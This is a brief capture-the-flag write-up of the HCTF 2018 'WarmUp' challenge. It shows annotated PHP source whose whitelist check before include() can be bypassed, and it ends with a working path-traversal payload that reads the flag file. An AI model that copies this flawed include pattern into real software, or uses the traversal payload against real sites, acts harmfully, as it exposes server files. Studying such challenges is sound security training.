Buuoj [HCTF 2018]WarmUp


源码看到source.php 和hint.php

hint:

flag not here, and flag in ffffllllaaaagggg

source.php:

<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page) //check函数  $page实参就是&file
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//白名单只有source.php hint.php
if (! isset($page) || !is_string($page)) { //$page不存在或者不是string,则false
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) { //page只有在白名单里面,返回ture,不修改page肯定过不了白名单
return true;
}

$_page = mb_substr( //未解码page 从 0位置开始 mb_strpos长度的字符串 
$page,
0,
mb_strpos($page . '?', '?')//url地址中 ?第一次出现的位置
);
if (in_array($_page, $whitelist)) {    //截断后的page 必须是source.php和hint.php
return true;
}

$_page = urldecode($page); //地址解码
$_page = mb_substr(  //返回地址解码page从 0位置开始 mb_strpos长度的字符串
$_page,
0,
mb_strpos($_page . '?', '?') //url地址中 ?第一次出现的位置
);
if (in_array($_page, $whitelist)) {  //截断后的page 必须是source.php和hint.php
  //所以这里,对?不编码 编码都可以过
return true;
}
echo "you can't see it";
return false;
}
}

if (!empty($_REQUEST['file']) // $_REQUEST 用于收集HTML表单提交的数据。file参数不为空 且 是string 且必须通过check
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file']) 
) {
include $_REQUEST['file'];
exit;
} else {
echo "
"; } ?>

payload:

/?file=source.php?../../../../../ffffllllaaaagggg

相关